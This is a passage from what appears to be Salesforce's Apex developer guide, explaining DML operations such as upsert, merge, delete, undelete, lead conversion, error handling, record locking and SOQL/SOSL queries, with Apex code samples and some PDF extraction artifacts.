/* Switch to the runtime limit context */
Test.startTest();
/* Exercise the method */
List<Database.upsertResult> results = DmlSamples.upsertLeads(leads);
/* Switch back to the test context for limits */
Test.stopTest();
/* ID set for asserting the tasks were created as expected */
Set<Id> ids = new Set<Id>();
/* Iterate over the results, asserting success and adding the new ID
to the set for use in the comprehensive assertion phase below. */
for(Database.upsertResult result:results) {
System.assert(result.isSuccess());
ids.add(result.getId());
}
/* Assert that exactly one task exists for each lead that was inserted. */
for(Lead l:[SELECT Id, (SELECT Subject FROM Tasks) FROM Lead WHERE Id IN :ids]) {
System.assertEquals(1,l.tasks.size());
}
}
}

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Use of upsert with an external ID can reduce the number of DML statements in your code, and help you to avoid hitting governor
limits (see Execution Governors and Limits). This next example uses upsert and an external ID field Line_Item_Id__c on the
Asset object to maintain a one-to-one relationship between an asset and an opportunity line item.
Note: Before running this sample, create a custom text field on the Asset object named Line_Item_Id__c and mark it as
an external ID. For information on custom fields, see the Salesforce online help.
public void upsertExample() {
Opportunity opp = [SELECT Id, Name, AccountId,
(SELECT Id, PricebookEntry.Product2Id, PricebookEntry.Name
FROM OpportunityLineItems)
FROM Opportunity
WHERE HasOpportunityLineItem = true
LIMIT 1];
Asset[] assets = new Asset[]{};
// Create an asset for each line item on the opportunity
for (OpportunityLineItem lineItem:opp.OpportunityLineItems) {
//This code populates the line item Id, AccountId, and Product2Id for each asset
Asset asset = new Asset(Name = lineItem.PricebookEntry.Name,
Line_Item_ID__c = lineItem.Id,
AccountId = opp.AccountId,
Product2Id = lineItem.PricebookEntry.Product2Id);
assets.add(asset);
}
try {
upsert assets Line_Item_ID__c;

//
//
//
//

This line upserts the assets list with

the Line_Item_Id__c field specified as the
Asset field that should be used for matching
the record that should be upserted.

} catch (DmlException e) {
System.debug(e.getMessage());
}
}

Merging Records
When you have duplicate lead, contact, or account records in the database, cleaning up your data and consolidating the records might
be a good idea. You can merge up to three records of the same sObject type. The merge operation merges up to three records into
one of the records, deletes the others, and reparents any related records.

Example
The following shows how to merge an existing Account record into a master account. The account to merge has a related contact, which
is moved to the master account record after the merge operation. Also, after merging, the merge record is deleted and only one record
remains in the database. This examples starts by creating a list of two accounts and inserts the list. Then it executes queries to get the

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new account records from the database, and adds a contact to the account to be merged. Next, it merges the two accounts. Finally, it
verifies that the contact has been moved to the master account and the second account has been deleted.
// Insert new accounts
List<Account> ls = new List<Account>{
new Account(name='Acme Inc.'),
new Account(name='Acme')
};
insert ls;
// Queries to get the inserted accounts
Account masterAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
Account mergeAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
// Add a contact to the account to be merged
Contact c = new Contact(FirstName='Joe',LastName='Merged');
c.AccountId = mergeAcct.Id;
insert c;
try {
merge masterAcct mergeAcct;
} catch (DmlException e) {
// Process exception
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
// Once the account is merged with the master account,
// the related contact should be moved to the master record.
masterAcct = [SELECT Id, Name, (SELECT FirstName,LastName From Contacts)
FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
System.assert(masterAcct.getSObjects('Contacts').size() > 0);
System.assertEquals('Joe', masterAcct.getSObjects('Contacts')[0].get('FirstName'));
System.assertEquals('Merged', masterAcct.getSObjects('Contacts')[0].get('LastName'));
// Verify that the merge record got deleted
Account[] result = [SELECT Id, Name FROM Account WHERE Id=:mergeAcct.Id];
System.assertEquals(0, result.size());

This second example is similar to the previous except that it uses the Database.merge method (instead of the merge statement).
The last argument of Database.merge is set to false to have any errors encountered in this operation returned in the merge
result instead of getting exceptions. The example merges two accounts into the master account and retrieves the returned results. The
example creates a master account and two duplicates, one of which has a child contact. It verifies that after the merge the contact is
moved to the master account.
// Create master account
Account master = new Account(Name='Account1');
insert master;
// Create duplicate accounts
Account[] duplicates = new Account[]{
// Duplicate account
new Account(Name='Account1, Inc.'),
// Second duplicate account
new Account(Name='Account 1')
};

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insert duplicates;
// Create child contact and associate it with first account
Contact c = new Contact(firstname='Joe',lastname='Smith', accountId=duplicates[0].Id);
insert c;

// Get the account contact relation ID, which is created when a contact is created on
"Account1, Inc."
AccountContactRelation resultAcrel = [SELECT Id FROM AccountContactRelation WHERE
ContactId=:c.Id LIMIT 1];

// Merge accounts into master

Database.MergeResult[] results = Database.merge(master, duplicates, false);
for(Database.MergeResult res : results) {
if (res.isSuccess()) {
// Get the master ID from the result and validate it
System.debug('Master record ID: ' + res.getId());
System.assertEquals(master.Id, res.getId());
// Get the IDs of the merged records and display them
List<Id> mergedIds = res.getMergedRecordIds();
System.debug('IDs of merged records: ' + mergedIds);
// Get the ID of the reparented record and
// validate that this the contact ID.
System.debug('Reparented record ID: ' + res.getUpdatedRelatedIds());
// Make sure there are two IDs (contact ID and account contact relation ID); the order
isn't defined
System.assertEquals(2, res.getUpdatedRelatedIds().size() );
boolean flag1 = false;
boolean flag2 = false;

// Because the order of the IDs isn't defined, the ID can be at index 0 or 1 of the
array
if (resultAcrel.id == res.getUpdatedRelatedIds()[0] || resultAcrel.id ==
res.getUpdatedRelatedIds()[1] )
flag1 = true;
if (c.id == res.getUpdatedRelatedIds()[0] || c.id == res.getUpdatedRelatedIds()[1]
)
flag2 = true;
System.assertEquals(flag1, true);
System.assertEquals(flag2, true);
}
else {
for(Database.Error err : res.getErrors()) {

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// Write each error to the debug output

System.debug(err.getMessage());
}
}
}

Merge Considerations
When merging sObject records, consider the following rules and guidelines:
Only leads, contacts, and accounts can be merged. See sObjects That Dont Support DML Operations on page 139.
You can pass a master record and up to two additional sObject records to a single merge method.
Using the Apex merge operation, field values on the master record always supersede the corresponding field values on the records
to be merged. To preserve a merged record field value, simply set this field value on the master sObject before performing the merge.
External ID fields cant be used with merge.
For more information on merging leads, contacts and accounts, see the Salesforce online help.

Deleting Records
After you persist records in the database, you can delete those records using the delete operation. Deleted records arent deleted
permanently from Force.com, but they are placed in the Recycle Bin for 15 days from where they can be restored. Restoring deleted
records is covered in a later section.

Example
The following example deletes all accounts that are named 'DotCom':
Account[] doomedAccts = [SELECT Id, Name FROM Account
WHERE Name = 'DotCom'];
try {
delete doomedAccts;
} catch (DmlException e) {
// Process exception here
}

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 140.

Referential Integrity When Deleting and Restoring Records

The delete operation supports cascading deletions. If you delete a parent object, you delete its children automatically, as long as
each child record can be deleted.
For example, if you delete a case record, Apex automatically deletes any CaseComment, CaseHistory, and CaseSolution records associated
with that case. However, if a particular child record is not deletable or is currently being used, then the delete operation on the parent
case record fails.
The undelete operation restores the record associations for the following types of relationships:
Parent accounts (as specified in the Parent Account field on an account)
Parent cases (as specified in the Parent Case field on a case)
Master solutions for translated solutions (as specified in the Master Solution field on a solution)

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Managers of contacts (as specified in the Reports To field on a contact)

Products related to assets (as specified in the Product field on an asset)
Opportunities related to quotes (as specified in the Opportunity field on a quote)
All custom lookup relationships
Relationship group members on accounts and relationship groups, with some exceptions
Tags
An article's categories, publication state, and assignments
Note: Salesforce only restores lookup relationships that have not been replaced. For example, if an asset is related to a different
product prior to the original product record being undeleted, that asset-product relationship is not restored.

Restoring Deleted Records

After you have deleted records, the records are placed in the Recycle Bin for 15 days, after which they are permanently deleted. While
the records are still in the Recycle Bin, you can restore them using the undelete operation. This is useful, for example, if you accidentally
deleted some records that you want to keep.

Example
The following example undeletes an account named 'Trump'. The ALL ROWS keyword queries all rows for both top level and aggregate
relationships, including deleted records and archived activities.
Account a = new Account(Name='Trump');
insert(a);
insert(new Contact(LastName='Carter',AccountId=a.Id));
delete a;
Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Trump' ALL ROWS];
try {
undelete savedAccts;
} catch (DmlException e) {
// Process exception here
}

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 140.

Undelete Considerations
Note the following when using the undelete statement.
You can undelete records that were deleted as the result of a merge, but the child objects will have been reparented, which cannot
be undone.
Use the ALL ROWS parameters with a SOQL query to identify deleted records, including records deleted as a result of a merge.
See Referential Integrity When Deleting and Restoring Records.
SEE ALSO:
Querying All Records with a SOQL Statement

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Converting Leads
The convertLead DML operation converts a lead into an account and contact, as well as (optionally) an opportunity. convertLead
is available only as a method on the Database class; it is not available as a DML statement.
Converting leads involves the following basic steps:
1. Your application determines the IDs of any lead(s) to be converted.
2. Optionally, your application determines the IDs of any account(s) into which to merge the lead. Your application can use SOQL to
search for accounts that match the lead name, as in the following example:
SELECT Id, Name FROM Account WHERE Name='CompanyNameOfLeadBeingMerged'

3. Optionally, your application determines the IDs of the contact or contacts into which to merge the lead. The application can use
SOQL to search for contacts that match the lead contact name, as in the following example:
SELECT Id, Name FROM Contact WHERE FirstName='FirstName' AND LastName='LastName' AND
AccountId = '001...'

4. Optionally, the application determines whether opportunities should be created from the leads.
5. The application queries the LeadSource table to obtain all of the possible converted status options (SELECT ... FROM
LeadStatus WHERE IsConverted='1'), and then selects a value for the converted status.
6. The application calls convertLead.
7. The application iterates through the returned result or results and examines each LeadConvertResult object to determine whether
conversion succeeded for each lead.
8. Optionally, when converting leads owned by a queue, the owner must be specified. This is because accounts and contacts cannot
be owned by a queue. Even if you are specifying an existing account or contact, you must still specify an owner.

Example
This example shows how to use the Database.convertLead method to convert a lead. It inserts a new lead, creates a
LeadConvert object and sets its status to converted, then passes it to the Database.convertLead method. Finally, it verifies
that the conversion was successful.
Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons');
insert myLead;
Database.LeadConvert lc = new database.LeadConvert();
lc.setLeadId(myLead.id);
LeadStatus convertStatus = [SELECT Id, MasterLabel FROM LeadStatus WHERE IsConverted=true
LIMIT 1];
lc.setConvertedStatus(convertStatus.MasterLabel);
Database.LeadConvertResult lcr = Database.convertLead(lc);
System.assert(lcr.isSuccess());

Convert Leads Considerations

Field mappings: The system automatically maps standard lead fields to standard account, contact, and opportunity fields. For custom
lead fields, your Salesforce administrator can specify how they map to custom account, contact, and opportunity fields. For more
information about field mappings, see the Salesforce online help.

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Merged fields: If data is merged into existing account and contact objects, only empty fields in the target object are
overwrittenexisting data (including IDs) are not overwritten. The only exception is if you specify setOverwriteLeadSource
on the LeadConvert object to true, in which case the LeadSource field in the target contact object is overwritten with the
contents of the LeadSource field in the source LeadConvert object.
Record types: If the organization uses record types, the default record type of the new owner is assigned to records created during
lead conversion. The default record type of the user converting the lead determines the lead source values available during conversion.
If the desired lead source values are not available, add the values to the default record type of the user converting the lead. For more
information about record types, see the Salesforce online help.
Picklist values: The system assigns the default picklist values for the account, contact, and opportunity when mapping any standard
lead picklist fields that are blank. If your organization uses record types, blank values are replaced with the default picklist values of
the new record owner.
Automatic feed subscriptions: When you convert a lead into a new account, contact, and opportunity, the lead owner is unsubscribed
from the lead account. The lead owner, the owner of the generated records, and users that were subscribed to the lead arent
automatically subscribed to the generated records, unless they have automatic subscriptions enabled in their Chatter feed settings.
They must have automatic subscriptions enabled to see changes to the account, contact, and opportunity records in their news
feed. To subscribe to records they create, users must enable the Automatically follow records that I create
option in their personal settings. A user can subscribe to a record so that changes to the record display in the news feed on the user's
home page. This is a useful way to stay up-to-date with changes to records in Salesforce.

DML Exceptions and Error Handling

Exception Handling
DML statements return run-time exceptions if something went wrong in the database during the execution of the DML operations. You
can handle the exceptions in your code by wrapping your DML statements within try-catch blocks. The following example includes the
insert DML statement inside a try-catch block.
Account a = new Account(Name='Acme');
try {
insert a;
} catch(DmlException e) {
// Process exception here
}

Database Class Method Result Objects

Database class methods return the results of the data operation. These result objects contain useful information about the data operation
for each record, such as whether the operation was successful or not, and any error information. Each type of operation returns a specific
result object type, as outlined below.
Operation

Result Class

insert, update

SaveResult Class

upsert

UpsertResult Class

merge

MergeResult Class

delete

DeleteResult Class

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Operation

Result Class

undelete

UndeleteResult Class

convertLead

LeadConvertResult Class

emptyRecycleBin

EmptyRecycleBinResult Class

Returned Database Errors

While DML statements always return exceptions when an operation fails for one of the records being processed and the operation is
rolled back for all records, Database class methods can either do so or allow partial success for record processing. In the latter case of
partial processing, Database class methods dont throw exceptions. Instead, they return a list of errors for any errors that occurred on
failed records.
The errors provide details about the failures and are contained in the result of the Database class method. For example, a SaveResult
object is returned for insert and update operations. Like all returned results, SaveResult contains a method called getErrors
that returns a list of Database.Error objects, representing the errors encountered, if any.

Example
This example shows how to get the errors returned by a Database.insert operation. It inserts two accounts, one of which doesnt
have the required Name field, and sets the second parameter to false: Database.insert(accts, false);. This sets the
partial processing option. Next, the example checks if the call had any failures through if (!sr.isSuccess()) and then iterates
through the errors, writing error information to the debug log.
// Create two accounts, one of which is missing a required field
Account[] accts = new List<Account>{
new Account(Name='Account1'),
new Account()};
Database.SaveResult[] srList = Database.insert(accts, false);
// Iterate through each returned result
for (Database.SaveResult sr : srList) {
if (!sr.isSuccess()) {
// Operation failed, so get all errors
for(Database.Error err : sr.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Fields that affected this error: ' + err.getFields());
}
}
}

More About DML

Setting DML Options
You can specify DML options for insert and update operations by setting the desired options in the Database.DMLOptions object.
You can set Database.DMLOptions for the operation by calling the setOptions method on the sObject, or by passing it as
a parameter to the Database.insert and Database.update methods.

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Using DML options, you can specify:

The truncation behavior of fields.
Assignment rule information.
Duplicate rule information.
Whether automatic emails are sent.
The user locale for labels.
Whether the operation allows for partial success.
The Database.DMLOptions class has the following properties:
allowFieldTruncation Property
assignmentRuleHeader Property
dupicateRuleHeader
emailHeader Property
localeOptions Property
optAllOrNone Property
DMLOptions is only available for Apex saved against API versions 15.0 and higher. DMLOptions settings take effect only for record
operations performed using Apex DML and not through the Salesforce user interface.

allowFieldTruncation Property
The allowFieldTruncation property specifies the truncation behavior of strings. In Apex saved against API versions previous
to 15.0, if you specify a value for a string and that value is too large, the value is truncated. For API version 15.0 and later, if a value is
specified that is too large, the operation fails and an error message is returned. The allowFieldTruncation property allows you
to specify that the previous behavior, truncation, be used instead of the new behavior in Apex saved against API versions 15.0 and later.
The allowFieldTruncation property takes a Boolean value. If true, the property truncates String values that are too long,
which is the behavior in API versions 14.0 and earlier. For example:
Database.DMLOptions dml = new Database.DMLOptions();
dml.allowFieldTruncation = true;

assignmentRuleHeader Property
The assignmentRuleHeader property specifies the assignment rule to be used when creating a case or lead.
Note: The Database.DMLOptions object supports assignment rules for cases and leads, but not for accounts or territory management.
Using the assignmentRuleHeader property, you can set these options:
assignmentRuleID: The ID of an assignment rule for the case or lead. The assignment rule can be active or inactive. The ID
can be retrieved by querying the AssignmentRule sObject. If specified, do not specify useDefaultRule. If the value is not in
the correct ID format (15-character or 18-character Salesforce ID), the call fails and an exception is returned.
Note: For the Case sObject, the assignmentRuleID DML option can be set only from the API and is ignored when set
from Apex. For example, you can set the assignmentRuleID for an active or inactive rule from the
executeanonymous() API call, but not from the Developer Console. This doesnt apply to leadsthe
assignmentRuleID DML option can be set for leads from both Apex and the API.

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useDefaultRule: Indicates whether the default (active) assignment rule will be used for a case or lead. If specified, do not
specify an assignmentRuleId.
The following example uses the useDefaultRule option:
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.useDefaultRule= true;
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;

The following example uses the assignmentRuleID option:

Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.assignmentRuleId= '01QD0000000EqAn';
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;

insert u;
}
}

Mixed DML Operations in Test Methods

Test methods allow for performing mixed Data Manipulation Language (DML) operations that include both setup sObjects and other
sObjects if the code that performs the DML operations is enclosed within System.runAs method blocks. You can also perform DML
in an asynchronous job that your test method calls. These techniques enable you, for example, to create a user with a role and other
sObjects in the same test.
The setup sObjects are listed in sObjects That Cannot Be Used Together in DML Operations.

Example: Mixed DML Operations in System.runAs Blocks

This example shows how to enclose mixed DML operations within System.runAs blocks to avoid the mixed DML error. The
System.runAs block runs in the current users context. It creates a test user with a role and a test account, which is a mixed DML
operation.
@isTest
private class MixedDML {
static testMethod void mixedDMLExample() {
User u;
Account a;
User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
// Insert account as current user
System.runAs (thisUser) {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
u = new User(alias = 'jsmith', email='[email protected]',
emailencodingkey='UTF-8', lastname='Smith',
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',
username='[email protected]');
insert u;
a = new Account(name='Acme');
insert a;
}
}
}

Use @future to Bypass the Mixed DML Error in a Test Method

Mixed DML operations within a single transaction arent allowed. You cant perform DML on a setup sObject and another sObject in the
same transaction. However, you can perform one type of DML as part of an asynchronous job and the others in other asynchronous jobs
or in the original transaction. This class contains an @future method to be called by the class in the subsequent example.
public class InsertFutureUser {
@future
public static void insertUser() {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];

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User futureUser = new User(firstname = 'Future', lastname = 'User',

alias = 'future', defaultgroupnotificationfrequency = 'N',
digestfrequency = 'N', email = '[email protected]',
emailencodingkey = 'UTF-8', languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id,
timezonesidkey = 'America/Los_Angeles',
username = '[email protected]',
userpermissionsmarketinguser = false,
userpermissionsofflineuser = false, userroleid = r.Id);
insert(futureUser);
}
}

This class calls the method in the previous class.

@isTest
public class UserAndContactTest {
public testmethod static void testUserAndContact() {
InsertFutureUser.insertUser();
Contact currentContact = new Contact(
firstName = String.valueOf(System.currentTimeMillis()),
lastName = 'Contact');
insert(currentContact);
}
}

sObjects That Dont Support DML Operations

Your organization contains standard objects provided by Salesforce and custom objects that you created. These objects can be accessed
in Apex as instances of the sObject data type. You can query these objects and perform DML operations on them. However, some
standard objects dont support DML operations although you can still obtain them in queries. They include the following:
AccountTerritoryAssignmentRule
AccountTerritoryAssignmentRuleItem
ApexComponent
ApexPage
BusinessHours
BusinessProcess
CategoryNode
CurrencyType
DatedConversionRate
NetworkMember (allows update only)
ProcessInstance
Profile
RecordType
SelfServiceUser
StaticResource
Territory2
UserAccountTeamMember

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UserTerritory
WebLink
Note: All standard and custom objects can also be accessed through the SOAP API. ProcessInstance is an exception. You cant
create, update, or delete ProcessInstance in the SOAP API.

Bulk DML Exception Handling

Exceptions that arise from a bulk DML call (including any recursive DML operations in triggers that are fired as a direct result of the call)
are handled differently depending on where the original call came from:
When errors occur because of a bulk DML call that originates directly from the Apex DML statements, or if the allOrNone
parameter of a Database DML method was specified as true, the runtime engine follows the all or nothing rule: during a single
operation, all records must be updated successfully or the entire operation rolls back to the point immediately preceding the DML
statement.
When errors occur because of a bulk DML call that originates from the SOAP API with default settings, or if the allOrNone
parameter of a Database DML method was specified as false, the runtime engine attempts at least a partial save:
1. During the first attempt, the runtime engine processes all records. Any record that generates an error due to issues such as
validation rules or unique index violations is set aside.
2. If there were errors during the first attempt, the runtime engine makes a second attempt that includes only those records that
did not generate errors. All records that didn't generate an error during the first attempt are processed, and if any record generates
an error (perhaps because of race conditions) it is also set aside.
3. If there were additional errors during the second attempt, the runtime engine makes a third and final attempt which includes
only those records that didnt generate errors during the first and second attempts. If any record generates an error, the entire
operation fails with the error message, Too many batch retries in the presence of Apex triggers and partial failures.
Note: Note the following:
During the second and third attempts, governor limits are reset to their original state before the first attempt. See Execution
Governors and Limits on page 273.
Apex triggers are fired for the first save attempt, and if errors are encountered for some records and subsequent attempts
are made to save the subset of successful records, triggers are re-fired on this subset of records.

Things You Should Know about Data in Apex

Non-Null Required Fields Values and Null Fields
When inserting new records or updating required fields on existing records, you must supply non-null values for all required fields.
Unlike the SOAP API, Apex allows you to change field values to null without updating the fieldsToNull array on the sObject
record. The API requires an update to this array due to the inconsistent handling of null values by many SOAP providers. Because
Apex runs solely on the Force.com platform, this workaround is unnecessary.
DML Not Supported with Some sObjects
DML operations are not supported with certain sObjects. See sObjects That Dont Support DML Operations.
String Field Truncation and API Version
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value
that is too long for the field.

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sObject Properties to Enable DML Operations

To be able to insert, update, delete, or undelete an sObject record, the sObject must have the corresponding property (createable,
updateable, deletable, or undeletable respectively) set to true.
ID Values
The insert statement automatically sets the ID value of all new sObject records. Inserting a record that already has an IDand
therefore already exists in your organization's dataproduces an error. See Lists for more information.
The insert and update statements check each batch of records for duplicate ID values. If there are duplicates, the first five are
processed. For the sixth and all additional duplicate IDs, the SaveResult for those entries is marked with an error similar to the following:
Maximum number of duplicate updates in one batch (5 allowed). Attempt to update Id
more than once in this API call: number_of_attempts.

The ID of an updated sObject record cannot be modified in an update statement, but related record IDs can.
Fields With Unique Constraints
For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example,
inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must have
unique names.
System Fields Automatically Set
When inserting new records, system fields such as CreatedDate, CreatedById, and SystemModstamp are automatically
updated. You cannot explicitly specify these values in your Apex. Similarly, when updating records, system fields such as
LastModifiedDate, LastModifiedById, and SystemModstamp are automatically updated.
Maximum Number of Records Processed by DML Statement
You can pass a maximum of 10,000 sObject records to a single insert, update, delete, and undelete method.
Each upsert statement consists of two operations, one for inserting records and one for updating records. Each of these operations
is subject to the runtime limits for insert and update, respectively. For example, if you upsert more than 10,000 records and
all of them are being updated, you receive an error. (See Execution Governors and Limits on page 273)
Upsert and Foreign Keys
You can use foreign keys to upsert sObject records if they have been set as reference fields. For more information, see Field Types
in the Object Reference for Salesforce and Force.com.
Creating Records for Multiple Object Types
As with the SOAP API, you can create records in Apex for multiple object types, including custom objects, in one DML call with API
version 20.0 and later. For example, you can create a contact and an account in one call. You can create records for up to 10 object
types in one call.
Records are saved in the same order that theyre entered in the sObject input array. If youre entering new records that have a
parent-child relationship, the parent record must precede the child record in the array. For example, if youre creating a contact that
references an account thats also being created in the same call, the account must have a smaller index in the array than the contact
does. The contact references the account by using an External ID field.
You cant add a record that references another record of the same object type in the same call. For example, the Contact object has
a Reports To field thats a reference to another contact. You cant create two contacts in one call if one contact uses the
Reports To field to reference a second contact in the input array. You can create a contact that references another contact that
has been previously created.
Records for multiple object types are broken into multiple chunks by Salesforce. A chunk is a subset of the input array, and each
chunk contains records of one object type. Data is committed on a chunk-by-chunk basis. Any Apex triggers that are related to the
records in a chunk are invoked once per chunk. Consider an sObject input array that contains the following set of records:
account1, account2, contact1, contact2, contact3, case1, account3, account4, contact4

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Salesforce splits the records into five chunks:

1. account1, account2
2. contact1, contact2, contact3
3. case1
4. account3, account4
5. contact4
Each call can process up to 10 chunks. If the sObject array contains more than 10 chunks, you must process the records in more than
one call. For additional information about this feature, see Creating Records for Different Object Types in the SOAP API Developer's
Guide.
Note: For Apex, the chunking of the input array for an insert or update DML operation has two possible causes: the existence
of multiple object types or the default chunk size of 200. If chunking in the input array occurs because of both of these reasons,
each chunk is counted toward the limit of 10 chunks. If the input array contains only one type of sObject, you wont hit this
limit. However, if the input array contains at least two sObject types and contains a high number of objects that are chunked
into groups of 200, you might hit this limit. For example, if you have an array that contains 1,001 consecutive leads followed
by 1,001 consecutive contacts, the array will be chunked into 12 groups: Two groups are due to the different sObject types of
Lead and Contact, and the remaining are due to the default chunking size of 200 objects. In this case, the insert or update
operation returns an error because you reached the limit of 10 chunks in hybrid arrays. The workaround is to call the DML
operation for each object type separately.
DML and Knowledge Objects
To execute DML code on knowledge articles (KnowledgeArticleVersion types such as the custom FAQ__kav article type), the running
user must have the Knowledge User feature license. Otherwise, calling a class method that contains DML operations on knowledge
articles results in errors. If the running user isnt a system administrator and doesnt have the Knowledge User feature license, calling
any method in the class returns an error even if the called method doesnt contain DML code for knowledge articles but another
method in the class does. For example, the following class contains two methods, only one of which performs DML on a knowledge
article. A non-administrator non-knowledge user who calls the doNothing method will get the following error: DML operation
UPDATE not allowed on FAQ__kav

public class KnowledgeAccess {

public void doNothing() {
}
public void DMLOperation() {
FAQ__kav[] articles = [SELECT Id FROM FAQ__kav WHERE PublishStatus = 'Draft' and
Language = 'en_US'];
update articles;
}
}

As a workaround, cast the input array to the DML statement from an array of FAQ__kav articles to an array of the generic sObject
type as follows:
public void DMLOperation() {
FAQ__kav[] articles = [SELECT id FROM FAQ__kav WHERE PublishStatus = 'Draft' and
Language = 'en_US'];
update (sObject[]) articles;
}

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Locking Records

Locking Records
Locking Statements
In Apex, you can use FOR UPDATE to lock sObject records while theyre being updated in order to prevent race conditions and other
thread safety problems.
While an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user interface.
The client locking the records can perform logic on the records and make updates with the guarantee that the locked records wont be
changed by another client during the lock period. The lock gets released when the transaction completes.
To lock a set of sObject records in Apex, embed the keywords FOR UPDATE after any inline SOQL statement. For example, the following
statement, in addition to querying for two accounts, also locks the accounts that are returned:
Account [] accts = [SELECT Id FROM Account LIMIT 2 FOR UPDATE];

Note: You cant use the ORDER BY keywords in any SOQL query that uses locking.

Locking Considerations
While the records are locked by a client, the locking client can modify their field values in the database in the same transaction. Other
clients have to wait until the transaction completes and the records are no longer locked before being able to update the same
records. Other clients can still query the same records while theyre locked.
If you attempt to lock a record currently locked by another client, your process waits for the lock to be released before acquiring a
new lock. If the lock isnt released within 10 seconds, you will get a QueryException. Similarly, if you attempt to update a record
currently locked by another client and the lock isnt released within 10 seconds, you will get a DmlException.
If a client attempts to modify a locked record, the update operation might succeed if the lock gets released within a short amount
of time after the update call was made. In this case, it is possible that the updates will overwrite those made by the locking client if
the second client obtained an old copy of the record. To prevent this from happening, the second client must lock the record first.
The locking process returns a fresh copy of the record from the database through the SELECT statement. The second client can
use this copy to make new updates.
When you perform a DML operation on one record, related records are locked in addition to the record in question. For more
information, see the Record Locking Cheat Sheet.
Warning: Use care when setting locks in your Apex code. See Avoiding Deadlocks.

Locking in a SOQL For Loop

The FOR UPDATE keywords can also be used within SOQL for loops. For example:
for (Account[] accts : [SELECT Id FROM Account
FOR UPDATE]) {
// Your code
}

As discussed in SOQL For Loops, the example above corresponds internally to calls to the query() and queryMore() methods
in the SOAP API.
Note that there is no commit statement. If your Apex trigger completes successfully, any database changes are automatically committed.
If your Apex trigger does not complete successfully, any changes made to the database are rolled back.

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SOQL and SOSL Queries

Avoiding Deadlocks
Apex has the possibility of deadlocks, as does any other procedural logic language involving updates to multiple database tables or
rows. To avoid such deadlocks, the Apex runtime engine:
1. First locks sObject parent records, then children.
2. Locks sObject records in order of ID when multiple records of the same type are being edited.
As a developer, use care when locking rows to ensure that you are not introducing deadlocks. Verify that you are using standard deadlock
avoidance techniques by accessing tables and rows in the same order from all locations in an application.

SOQL and SOSL Queries

You can evaluate Salesforce Object Query Language (SOQL) or Salesforce Object Search Language (SOSL) statements on-the-fly in Apex
by surrounding the statement in square brackets.

SOQL Statements
SOQL statements evaluate to a list of sObjects, a single sObject, or an Integer for count method queries.
For example, you could retrieve a list of accounts that are named Acme:
List<Account> aa = [SELECT Id, Name FROM Account WHERE Name = 'Acme'];

From this list, you can access individual elements:

if (!aa.isEmpty()) {
// Execute commands
}

You can also create new objects from SOQL queries on existing ones. The following example creates a new contact for the first account
with the number of employees greater than 10:
Contact c = new Contact(Account = [SELECT Name FROM Account
WHERE NumberOfEmployees > 10 LIMIT 1]);
c.FirstName = 'James';
c.LastName = 'Yoyce';

Note that the newly created object contains null values for its fields, which will need to be set.
The count method can be used to return the number of rows returned by a query. The following example returns the total number
of contacts with the last name of Weissman:
Integer i = [SELECT COUNT() FROM Contact WHERE LastName = 'Weissman'];

You can also operate on the results using standard arithmetic:

Integer j = 5 * [SELECT COUNT() FROM Account];

For a full description of SOQL query syntax, see the Salesforce SOQL and SOSL Reference Guide.

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SOSL Statements
SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type. The result
lists are always returned in the same order as they were specified in the SOSL query. If a SOSL query does not return any records for a
specified sObject type, the search results include an empty list for that sObject.
For example, you can return a list of accounts, contacts, opportunities, and leads that begin with the phrase map:
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
Contact, Opportunity, Lead];

Note: The syntax of the FIND clause in Apex differs from the syntax of the FIND clause in the SOAP API and REST API :
In Apex, the value of the FIND clause is demarcated with single quotes. For example:
FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead

In the Force.com API, the value of the FIND clause is demarcated with braces. For example:
FIND {map*} IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead

From searchList, you can create arrays for each object returned:
Account [] accounts = ((List<Account>)searchList[0]);
Contact [] contacts = ((List<Contact>)searchList[1]);
Opportunity [] opportunities = ((List<Opportunity>)searchList[2]);
Lead [] leads = ((List<Lead>)searchList[3]);

For a full description of SOSL query syntax, see the Salesforce SOQL and SOSL Reference Guide.

Working with SOQL and SOSL Query Results

SOQL and SOSL queries only return data for sObject fields that are selected in the original query. If you try to access a field that was not
selected in the SOQL or SOSL query (other than ID), you receive a runtime error, even if the field contains a value in the database. The
following code example causes a runtime error:
insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is not selected
String name = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1].Name;

The following is the same code example rewritten so it does not produce a runtime error. Note that Name has been added as part of
the select statement, after Id.
insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is now selected
